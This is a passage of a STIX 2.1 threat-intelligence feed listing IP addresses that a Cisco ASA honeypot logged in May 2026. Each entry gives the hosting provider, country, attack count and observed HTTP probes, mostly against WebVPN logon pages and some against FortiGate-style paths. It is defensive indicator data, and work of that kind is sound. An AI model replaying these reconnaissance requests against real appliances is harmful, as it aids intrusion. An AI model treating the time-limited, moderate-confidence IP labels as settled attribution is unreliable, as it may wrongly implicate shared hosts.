      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:20:10.000Z",
      "valid_until": "2026-06-08T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T08:44:54.007Z",
          "last_seen": "2026-05-29T15:48:35.201Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--1def3694-0664-41e0-b94a-54779c77b3c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:20:10.000Z",
      "valid_until": "2026-06-08T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-07T08:21:33.492Z",
          "last_seen": "2026-05-30T12:29:36.297Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7ab3a74a-9952-42e0-8cd8-d8ab3792c8b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:20:10.000Z",
      "valid_until": "2026-06-08T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T08:30:08.252Z",
          "last_seen": "2026-05-07T08:30:18.165Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e8b5980e-63ac-41fb-b1a9-1c93e4e10785",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:20:10.000Z",
      "valid_until": "2026-06-08T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-07T08:59:29.829Z",
          "last_seen": "2026-05-30T13:56:40.353Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3d775b8c-f1f1-43fd-a53b-174f92857722",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T09:20:10.000Z",
      "valid_until": "2026-06-08T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-07T08:37:15.708Z",
          "last_seen": "2026-05-27T19:05:17.531Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--393acd82-1587-438a-b473-54b0337292f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:20:11.000Z",
      "valid_until": "2026-06-08T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T09:44:19.123Z",
          "last_seen": "2026-05-28T01:11:03.006Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--afc1c064-2e42-4896-8cb4-59093979fe15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:20:11.000Z",
      "valid_until": "2026-06-08T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-07T09:34:25.217Z",
          "last_seen": "2026-05-20T13:08:48.941Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--762d5c97-f731-4c29-99a3-d357d6b5da4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:20:11.000Z",
      "valid_until": "2026-06-08T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-07T09:32:58.849Z",
          "last_seen": "2026-05-25T19:04:40.621Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--db0b7838-74c1-408a-92de-db5a07e659ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:20:11.000Z",
      "valid_until": "2026-06-08T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-07T10:08:24.721Z",
          "last_seen": "2026-05-24T01:40:23.528Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--eca57932-5910-42a3-a392-8f6e39529645",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T10:20:11.000Z",
      "valid_until": "2026-06-08T10:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T10:00:58.285Z",
          "last_seen": "2026-05-07T10:01:07.198Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e24c2019-adaa-4164-b2fa-2a4a710257f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 32,
          "first_seen": "2026-05-07T10:58:37.930Z",
          "last_seen": "2026-05-27T18:43:13.407Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1b757659-ad3a-43fe-b8af-aa2ec93db365",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-07T10:53:37.001Z",
          "last_seen": "2026-05-23T17:41:21.987Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2988a76e-7d83-463b-a5aa-d89aa9d5af15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-07T10:42:08.029Z",
          "last_seen": "2026-05-24T03:01:51.541Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e8654ea7-13ac-4315-ab8e-b59f9c6a8bbb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T10:45:39.214Z",
          "last_seen": "2026-05-07T10:45:49.009Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-07T10:41:23.967Z",
          "last_seen": "2026-05-07T10:47:53.823Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b0705290-1c18-49de-9422-f9de069480d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T10:45:33.312Z",
          "last_seen": "2026-05-07T10:45:33.312Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3880132d-94b0-4646-b998-6fae61f18e7b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T10:45:41.805Z",
          "last_seen": "2026-05-07T10:45:41.805Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T10:44:11.836Z",
          "last_seen": "2026-05-07T10:45:24.659Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3cf3bc51-85b5-4fef-9b1d-48fd23baaca3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T10:45:25.940Z",
          "last_seen": "2026-05-07T10:45:34.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--87f65824-4d46-4b02-a91a-3580676c6bdf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:20:05.000Z",
      "valid_until": "2026-06-08T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T10:45:46.456Z",
          "last_seen": "2026-05-07T10:45:46.456Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--95230791-328f-4c04-8344-d70fa423e321",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
